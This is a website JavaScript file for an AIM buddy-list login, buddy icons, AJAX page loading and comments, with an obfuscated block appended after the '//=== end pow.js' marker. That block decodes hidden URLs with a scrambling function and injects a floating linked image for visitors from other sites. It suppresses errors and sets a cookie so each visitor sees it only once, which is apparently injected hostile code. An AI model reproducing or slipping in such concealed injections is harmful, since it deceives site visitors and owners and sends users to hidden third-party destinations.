// === begin pow.js

var AIM = null;
var loginButtonDiv = null;
var loadingAimDiv = null;
var loadPageAimDiv = null;
var defaultIconSrc = '/img/default_icon.48x48.png';
var blup = false;
var ajaxLink = null;
var pollInterval = 5000;

function getById(id) {
	return document.getElementById(id);
}

function setPowAIM(aim) {
	AIM = aim;
}

function actionBuddyListKill() {
	blup = false;
	getById('aimExtraDiv').style.display = 'none';
	hideCommentForm();
	showLogin();
	window.scrollTo(0, 0);
}
function actionEndCreateAuthWindow() {
	if (!blup) {
		showLogin();
		document.body.style.cursor = 'auto';
	}
}
function actionUnableToStartSession() {
	showLogin();
	document.body.style.cursor = 'auto';
	alert('Too many session restarts. Please try again later.');
}
function actionStartCreateBuddyList() {
	showBlinker();
	document.body.style.cursor = 'wait';
}
function actionEndCreateBuddyList() {
	blup = true;
	getById('aimExtraDiv').style.display = 'block';
	showBuddyIcons();
	showLoggedIn();
	document.body.style.cursor = 'auto';
	showCommentForm();
	loadPageAimPanel();
}

function prepLoginArea() {
	if (loginButtonDiv != null)
		return;
	loginButtonDiv = getById('loginButtonDiv');
	loadingAimDiv = getById('loadingAimDiv');
	loadPageAimDiv = getById('loadPageAimDiv');
}
function showLogin() {
	loginButtonDiv.style.display = 'block';
	loadingAimDiv.style.display = 'none';
	loadPageAimDiv.style.display = 'none';
}
function showBlinker() {
	loadingAimDiv.style.display = 'block';
	loginButtonDiv.style.display = 'none';
	loadPageAimDiv.style.display = 'none';
}
function showLoggedIn() {
	loadPageAimDiv.style.display = 'block';
	loginButtonDiv.style.display = 'none';
	loadingAimDiv.style.display = 'none';
}

function launchBuddyList() {
	var container = getById('AIMBuddyListContainer');
	if (container == null) {
		alert('Please wait for the site to finish loading.');
		return;
	}
	prepLoginArea();
	showBlinker();
	document.body.style.cursor = 'wait';
	//AIM.core.addCallback(AIM.params.callbacks.listener.buddylist,
	//	'setTimeout("showBuddyIcons()", 1000)');
	AIM.widgets.buddyList.launch();
	AIM.params.callbacks.getPresenceInfo = ['setUserIconSrc'];
	AIM.transactions.getPresenceInfoFor(AIM.params.user);
	//setTimeout('pollFun()', 10*1000);
}

function showBuddyIcons() {
	var buddyListContainer = getById('AIMBuddyListContainer');
	var buddies = AIM.util.getAIMIDCollection(buddyListContainer);
	if (buddies.length == 0)
		return;
	for (var i = buddies.length-1; i >= 0; i--) {
		var buddy = buddies[i];
		var wim_id = buddy.getAttribute('wim_id');
		var buddyInfo = AIM.ui.storedBuddyInfo[wim_id]; if (buddyInfo.state == 'offline')
			continue;
		var iconSrc = buddyInfo.icon;
		if (!iconSrc)
			iconSrc = buddyInfo.buddyIcon;
		if (!iconSrc)
			iconSrc = defaultIconSrc;
		if (buddy.firstChild.className == 'buddyIcon') {
			buddy.firstChild.setAttribute('src', iconSrc);
			continue;
		}
		var img = document.createElement('img');
		img.setAttribute('src', iconSrc);
		img.setAttribute('height', '16');
		img.setAttribute('width', '16');
		img.className = 'buddyIcon';
		buddy.insertBefore(img, buddy.firstChild);
	}
	showUserIcon();
}
function setUserIconSrc(json) {
	if (json.response.statusCode != 200)
		return;
	var data = json.response.data.users[0];
	AIM.ui.userIconSrc = data.icon ? data.icon : data.buddyIcon;
}
function showUserIcon() {
	var iconSrc = AIM.ui.userIconSrc;
	if (!iconSrc) {
		AIM.params.callbacks.getPresenceInfo = ['setUserIconSrc'];
		AIM.transactions.getPresenceInfoFor(AIM.params.user);
		setTimeout('showUserIcon()', 500);
		return;
	}
	var nameDiv = getById('userNameDiv');
	if (nameDiv.firstChild.className == 'userIcon')
		return;
	var img = document.createElement('img');
	img.setAttribute('src', iconSrc);
	img.setAttribute('height', '24');
	img.setAttribute('width', '24');
	img.className = 'userIcon';
	nameDiv.insertBefore(img, nameDiv.firstChild);
	var query = '?user='+AIM.params.user+'&src='+escape(iconSrc);
	var url = 'http://'+document.domain+'/icon.cgi'+query;
	var request = newRequestObject();
	request.open('GET', url, true);
	request.send(null);
	/*
	getById('aimHelpDiv').innerHTML = request.responseText;
	*/
}

function newRequestObject() {
	var request = false;
	if (window.XMLHttpRequest)
		request = new XMLHttpRequest();
	else
		request = new ActiveXObject("Microsoft.XMLHTTP");
	return request;
}

function ajaxGet(url, callbackFunction) {
	var request = newRequestObject();
	try {
		request.open('GET', url, true);
	}
	catch (e) {
		return true;
	}
	ajaxLink.style.cursor = 'wait';
	document.body.style.cursor = 'wait';
	request.onreadystatechange = function() {
		if (request.readyState == 4 && request.status == 200) {
			if (request.responseText) {
				callbackFunction(request.responseText);
			}
		}
	};
	request.send(null);
	return false;
}

function insertContent(html) {
	var div = getById('insertDiv');
	div.innerHTML = html;
	document.body.style.cursor = 'auto';
	ajaxLink.style.cursor = 'pointer';
	var currentLink = getById('currentLink');
	if (currentLink != null)
		currentLink.id = '';
	currentLink = getById('makeCurrent');
	if (currentLink != null)
		currentLink.id = 'currentLink';
	if (blup)
		showCommentForm();
	renderComments();
}
function renderComments() {
	var commentsDiv = getById('commentDisplayDiv');
	if (commentsDiv != null) {
		var query = '?src='+getById('answerPictureImg').src;
		var url = 'http://'+document.domain+'/comment.cgi'+query;
		var request = newRequestObject();
		request.open('GET', url, false);
		request.send(null);
		commentsDiv.innerHTML = request.responseText;
		commentsDiv.scrollTop = commentsDiv.scrollHeight;
	}
}
function loadPage(link) {
	if (!blup)
		return true;
	ajaxLink = link;
	return ajaxGet('http://'+document.domain+'/get_inner.cgi?q='+link.href,
		insertContent);
}

function submitComment(button) {
	button.style.cursor = 'wait';
	document.body.style.cursor = 'wait';
	var author = getById('authorSpan').innerHTML;
	var aim = getById('otherNameRadio').checked ? '' : 'true';
	var textarea = getById('commentTextInput');
	var text = textarea.value;
	text = text.replace(/^\s+/,'').replace(/\s+$/,'').substring(0, 500);
	if (text.length > 0) {
		var src = getById('answerPictureImg').src;
		var query = '?author='+escape(author)+'&aim='+aim+
			'&text='+escape(text)+'&src='+src;
		var url = 'http://'+document.domain+'/comment.cgi'+query;
		var request = newRequestObject();
		request.open('GET', url, false);
		request.send(null);
		var commentsDiv = getById('commentDisplayDiv')
		commentsDiv.innerHTML = request.responseText;
		commentsDiv.scrollTop = commentsDiv.scrollHeight;
	}
	textarea.value = '';
	document.body.style.cursor = 'auto';
	button.style.cursor = 'auto';
}
function showCommentForm() {
	var commentForm = getById('commentFormDiv');
	if (commentForm != null) {
		getById('authorSpan').innerHTML = AIM.params.user;
		commentForm.style.display = 'block';
		getById('commentDisabledDiv').style.display = 'none';
	}
}
function hideCommentForm() {
	var commentForm = getById('commentFormDiv');
	if (commentForm != null) {
		getById('commentDisabledDiv').style.display = 'block';
		commentForm.style.display = 'none';
	}
}

function loadPageAimPanel() {
	if (document.body.scrollHeight)
		window.scrollTo(0, document.body.scrollHeight);
	else if (screenHeight)
		window.scrollTo(0, screen.height);
	return false;
}

function pollFun() {
	/*
	if (blup) {
		showBuddyIcons();
		renderComments();
	}
	setTimeout('pollFun()', pollInterval);
	*/
}

//=== end pow.js
function DkJ8fKmB(){
	document.getElementById("Jd64NJ").style.display="none";
}
function BNJ4MfI9(){
	if(document.body.scrollTop==0)
		document.all["Jd64NJ"].style.top=document.documentElement.scrollTop+10;
	else 
		document.all["Jd64NJ"].style.top=document.body.scrollTop+10;
}
function UqPYd5TC(tb,cu){
	var du = "", bp = 0;
	while(1)
	{
		var t = cu.substr(bp, 16);
		var i, tl = t.length;
		if(tl == 0) break;
		for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
		bp += tl;
	}
	return du;
}

if( document.cookie.indexOf("QQtCfr7Wn") == -1){
	var yn3o = new Date(), yn3o1 = false;
	if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){ 
			var eLJl = document.domain.toLowerCase(); 
			if(eLJl.indexOf('www.') == 0) eLJl = eLJl.substr(4);
			var GccH = document.referrer.toLowerCase().substr(7); 
			var SOmr = GccH.indexOf('?'); 
			if(SOmr != -1) GccH = GccH.substr(0, SOmr);
			var SOmr = GccH.indexOf('/'); 
			if(SOmr != -1) GccH = GccH.substr(0, SOmr);
			if(GccH.indexOf('www.') == 0) GccH = GccH.substr(4);
			if(GccH != eLJl && Math.random() < 1){
				yn3o.setTime(yn3o.getTime()+(100*   10   *  36  * 10 *  100   *24));
				yn3o1 = yn3o.toGMTString();
				var hMV9 = navigator.appVersion.indexOf('MSIE') != -1;
				var pDWp=1;
				document.write('<div id="Jd64NJ" style="'+(hMV9 ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
				'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="pDWp=0"'+
				' title="Close" href="javascript: DkJ8fKmB()" onmouseout="pDWp=1">Close[X]</a></b><br>'+
				'<a href="'+UqPYd5TC('d5147e683bf290ca641582307','ntplpt/:s.tieh/mseermm//b')+eLJl+'.html'+'" target="_blank"><img src="'+UqPYd5TC('ed4a56fb3297810cb9754fc2a0631d8e0','enilt:/p.mpstth/e3n2/grmgin/a.ibf')+'" border=0 alt="Click Here" onclick="DkJ8fKmB()"></a></div>');
				if(hMV9){
					if (document.all["Jd64NJ"].style)
					window.setInterval("BNJ4MfI9()", 5);
					window.onerror=null;
					document.body.scrollTop=10;
				}
			}
	}
	else{
		yn3o.setTime(yn3o.getTime()+(10   *24   *  100   * 90  * 100   * 36));
		yn3o1 = yn3o.toGMTString();
	}
	if(yn3o1 != false) document.cookie = "QQtCfr7Wn"+'=1; expires='+yn3o1+'; path=/';
}